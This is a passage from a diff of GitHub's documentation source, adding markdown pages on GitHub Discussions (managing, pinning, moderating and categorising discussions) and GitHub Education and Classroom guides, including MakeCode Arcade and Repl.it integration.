Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**. !["Your discussions" in drop-down menu for profile photo on {% data variables.product.product_name %}](/assets/images/help/discussions/your-discussions.png) 1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**. !["New category" button above list of discussion categories for a repository](/assets/images/help/discussions/click-new-category-button.png) 1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ![Emoji, title, description, and discussion format for new category](/assets/images/help/discussions/edit-category-details.png) 1. Click **Create**. !["Create" button for new category](/assets/images/help/discussions/new-category-click-create-button.png) ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}. ![Edit button to the right of category in list of categories for a repository](/assets/images/help/discussions/click-edit-for-category.png) 1. {% data reusables.discussions.edit-category-details %} ![Editing emoji, title, description, and discussion format for existing category](/assets/images/help/discussions/edit-existing-category-details.png) 1. Click **Save changes**. !["Save changes" button for existing category](/assets/images/help/discussions/existing-category-click-save-changes-button.png) ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}. ![Trash button to the right of category in list of categories for a repository](/assets/images/help/discussions/click-delete-for-category.png) 1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting. ![Drop-down menu for choosing new category when deleting an existing category](/assets/images/help/discussions/choose-new-category.png) 1. Click **Delete & Move**. ![Drop-down menu for choosing new category when deleting an existing category](/assets/images/help/discussions/click-delete-and-move-button.png) 108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**. !["Pin discussion" in right sidebar for discussion](/assets/images/help/discussions/click-edit-pinned-discussion.png) ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**. !["Pin discussion" in right sidebar for discussion](/assets/images/help/discussions/click-pin-discussion.png) 1. Optionally, customize the look of the pinned discussion. ![Customization options for a pinned discussion](/assets/images/help/discussions/customize-pinned-discussion.png) 1. Click **Pin discussion**. !["Pin discussion" button under customization options for pinned discussion](/assets/images/help/discussions/click-pin-discussion-button.png) ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**. !["Pin discussion" in right sidebar for discussion](/assets/images/help/discussions/click-edit-pinned-discussion.png) 1. Customize the look of the pinned discussion. ![Customization options for a pinned discussion](/assets/images/help/discussions/customize-pinned-discussion.png) 1. Click **Pin discussion**. !["Pin discussion" button under customization options for pinned discussion](/assets/images/help/discussions/click-pin-discussion-button.png) ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**. !["Unpin discussion" in right sidebar for discussion](/assets/images/help/discussions/click-unpin-discussion.png) 1. Read the warning, then click **Unpin discussion**. !["Unpin discussion" button beneath warning in modal](/assets/images/help/discussions/click-unpin-discussion-button.png) ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**. !["Transfer discussion" in right sidebar for discussion](/assets/images/help/discussions/click-transfer-discussion.png) 1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to. !["Choose a repository" drop-down, "Find a repository" search field, and repository in list](/assets/images/help/discussions/use-choose-a-repository-drop-down.png) 1. Click **Transfer discussion**. !["Transfer discussion" button](/assets/images/help/discussions/click-transfer-discussion-button.png) ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**. !["Delete discussion" in right sidebar for discussion](/assets/images/help/discussions/click-delete-discussion.png) 1. Read the warning, then click **Delete this discussion**. !["Delete this discussion" button beneath warning in modal](/assets/images/help/discussions/click-delete-this-discussion-button.png) ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock. ![Lock discussion](/assets/images/help/discussions/unanswered-discussion.png) 1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 content/discussions/quickstart.md @@ -0,0 +1,62 @@ --- title: Quickstart for GitHub Discussions intro: 'Enable {% data variables.product.prodname_discussions %} on an existing repository and start conversations with your community.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction {% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Discussions are for conversations that need to be transparent and accessible but do not need to be tracked on a project board and are not related to code, unlike issues. Discussions enable fluid, open conversation in a public forum. Discussions give a space for more collaborative conversations by connecting and giving a more centralized area to connect and find information. ### Enabling {% data variables.product.prodname_discussions %} on your repository Repository owners and people with write access can enable {% data variables.product.prodname_discussions %} for a community on their public repositories. When you first enable a {% data variables.product.prodname_discussions %}, you will be invited to configure a welcome post. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**. ![Public settings button](/assets/images/help/discussions/public-repo-settings.png) 1. Under "Features", click **Set up discussions**. ![Set up a discussion button under "Features" for enabling or disabling discussions for a repository](/assets/images/help/discussions/setup-discussions-button.png) 1. Under "Start a new discussion," edit the template to align with the resources and tone you want to set for your community. 1. Click **Start discussion**. !["Start discussion" button](/assets/images/help/discussions/new-discussion-start-discussion-button.png) ### Welcoming contributions to your discussions You can welcome your community and introduce a new way to communicate in a repository by creating a welcome post and pin the post to your {% data variables.product.prodname_discussions %} page. Pinning and locking discussions helps people know that a post is meant as an announcement. You can use announcements as a way to link people to more resources and offer guidance for opening discussions in your community. For more information about pinning a discussion, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." ### Setting up community guidelines for contributors You can set contributing guidelines to encourage collaborators to have meaningful, useful conversations that are relevant to the repository. You can also update the repository's README to communicate expectations on when collaborators should open an issue or discussion. For more information about providing guidelines for your project, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)" and "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Creating a new discussion Anyone with access to a repository can create a discussion. {% data reusables.discussions.starting-a-discussion %} ### Organizing discussions into relevant categories Repository owners and people with write access can create new categories to keep discussions organized. Collaborators participating and creating new discussions can group discussions into the most relevant existing categories. Discussions can also be recategorized after they are created. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" ### Promoting healthy conversations People with write permissions for a repository can help surface important conversations by pinning discussions, deleting discussions that are no longer useful or are damaging to the community, and transferring discussions to more relevant repositories owned by the organization. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." ### Next steps Once there is a clear path to scope work out and move an idea from concept to reality, you can create an issue and start tracking your progress. For more information on creating an issue from a discussion, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." 45 content/education/guides.md @@ -0,0 +1,45 @@ --- title: Guides for GitHub Education intro: 'These guides for {% data variables.product.prodname_education %} help you teach and learn both {% data variables.product.product_name %} and software development.' allowTitleToDifferFromFilename: true versions: free-pro-team: '*' --- ### Get started with {% data variables.product.product_name %} Teachers, students, and researchers can use tools from {% data variables.product.product_name %} to enrich a software development curriculum and develop real-world collaboration skills. - [Sign up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account) - [Git and {% data variables.product.prodname_dotcom %} quickstart ](/github/getting-started-with-github/quickstart) - [Apply for an educator or researcher discount](/education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount) - [Apply for a student developer pack](/education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack) ### Run a software development course with {% data variables.product.company_short %} Administer a classroom, assign and review work from your students, and teach the new generation of software developers with {% data variables.product.prodname_classroom %}. - [Basics of setting up {% data variables.product.prodname_classroom %} ](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom) - [Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms) - [Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment) - [Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment) - [Create an assignment from a template repository](/education/manage-coursework-with-github-classroom/create-an-assignment-from-a-template-repository) - [Leave feedback with pull requests](/education/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests) - [Use autograding](/education/manage-coursework-with-github-classroom/use-autograding) ### Learn to develop software Incorporate {% data variables.product.prodname_dotcom %} into your education, and use the same tools as the professionals. - [Git and {% data variables.product.prodname_dotcom %} learning resources](/github/getting-started-with-github/git-and-github-learning-resources) - [Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork) - [Try {% data variables.product.prodname_desktop %}](/desktop) - [Try {% data variables.product.prodname_cli %}](/github/getting-started-with-github/github-cli) ### Contribute to the community Participate in the community, get training from {% data variables.product.company_short %}, and learn or teach new skills. - [{% data variables.product.prodname_education_community %}](https://education.github.community) - [About Campus Experts](/education/teach-and-learn-with-github-education/about-campus-experts) - [About Campus Advisors](/education/teach-and-learn-with-github-education/about-campus-advisors) 43 content/education/index.md @@ -0,0 +1,43 @@ --- title: GitHub Education Documentation shortTitle: Education intro: "{% data variables.product.prodname_education %} helps you teach or learn software development with the tools and support of {% data variables.product.company_short %}'s platform and community." introLinks: quickstart: /education/quickstart featuredLinks: guides: - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution guideCards: - /github/getting-started-with-github/signing-up-for-a-new-github-account - /github/getting-started-with-github/git-and-github-learning-resources - /education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom popular: - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - /desktop - /github/getting-started-with-github/github-cli - /education/manage-coursework-with-github-classroom/teach-with-github-classroom changelog: - title: 'Try something new at Local Hack Day: Learn' date: '2020-10-15' href: https://github.blog/2020-10-15-try-something-new-at-local-hack-day-learn/ - title: 'Remote Education: Creating community through shared experiences' date: '2020-09-24' href: https://github.blog/2020-09-24-remote-education-creating-community-through-shared-experiences/ - title: 'Remote Education: A series of best practices for online campus communities' date: '2020-09-10' href: https://github.blog/2020-09-10-remote-education-a-series-of-best-practices-for-online-campus-communities/ - title: Welcome to the inaugural class of MLH Fellows date: '2020-06-24' href: https://github.blog/2020-06-24-welcome-to-the-inaugural-class-of-mlh-fellows/ layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /teach-and-learn-with-github-education %} --> <!-- {% link_with_intro /manage-coursework-with-github-classroom %} --> 31 ...work-with-github-classroom/about-using-makecode-arcade-with-github-classroom.md @@ -0,0 +1,31 @@ --- title: About using MakeCode Arcade with GitHub Classroom shortTitle: About using MakeCode Arcade intro: You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode --- ### About MakeCode Arcade MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. ### About submission of assignments with MakeCode Arcade By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} button at the bottom of the screen. ![MakeCode Arcade version control functionality](/assets/images/help/classroom/ide-makecode-arcade-version-control-button.png) ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...ge-coursework-with-github-classroom/about-using-replit-with-github-classroom.md @@ -0,0 +1,33 @@ --- title: About using Repl.it with GitHub Classroom shortTitle: About using Repl.it intro: You can configure Repl.it as the online integrated development environment (IDE) for assignments in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-replit --- ### About Repl.it Repl.it is an online integrated development environment (IDE) that supports multiple programming languages. Students can write, edit, run, test, and debug code in a browser with Repl.it. For more information about online IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} The first time the student clicks the button to visit Repl.it, the student must sign into Repl.it with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on Repl.it. For more information about working on Repl.it, see the [Repl.it Quickstart Guide](https://docs.repl.it/misc/quick-start#the-repl-environment). For group assignments, students can use Repl.it Multiplayer to work collaboratively. For more information, see the [Repl.it Multiplayer](https://repl.it/site/multiplayer) website. ### About submission of assignments with Repl.it By default, Repl.it is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with Repl.it, students should push changes to {% data variables.product.product_location %} using the version control functionality in the left sidebar. ![Repl.it version control functionality](/assets/images/help/classroom/ide-replit-version-control-button.png) For more information about using Git on Repl.it, see the [Repl.it + Git Tutorial](https://repl.it/talk/learn/Replit-Git-Tutorial/23331) on the Repl.it website. ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 33 ...anage-coursework-with-github-classroom/basics-of-setting-up-github-classroom.md @@ -0,0 +1,33 @@ --- title: Basics of setting up GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %} basics' intro: Learn how to set up your classroom, manage assignments, and configure time-saving automation. versions: free-pro-team: '*' --- ### Videos about {% data variables.product.prodname_classroom %} You can watch a series of short video tutorials about the configuration and use of {% data variables.product.prodname_classroom %}. To watch all videos as part of a continuous playlist, see the [{% data variables.product.prodname_classroom %} Getting Started Guide](https://www.youtube.com/playlist?list=PLIRjfNq867bewk3ZGV6Z7a16YDNRCpK3u) on YouTube. For more information about terminology for {% data variables.product.prodname_classroom %}, see "[Glossary](/education/manage-coursework-with-github-classroom/glossary)". 1. <a href="https://youtu.be/xVVeqIDgCvM" target="_blank">Getting started</a> {% octicon "link-external" aria-label="The external link icon" %} 2. <a href="https://youtu.be/DTzrKduaHj8" target="_blank">Adding your student roster</a> {% octicon "link-external" aria-label="The external link icon" %} 3. Creating assignments - <a href="https://youtu.be/6QzKZ63KLss" target="_blank">Creating an assignment using a {% data variables.product.prodname_dotcom %} repository</a> {% octicon "link-external" aria-label="The external link icon" %} - <a href="https://youtu.be/Qmwh6ijsQJU" 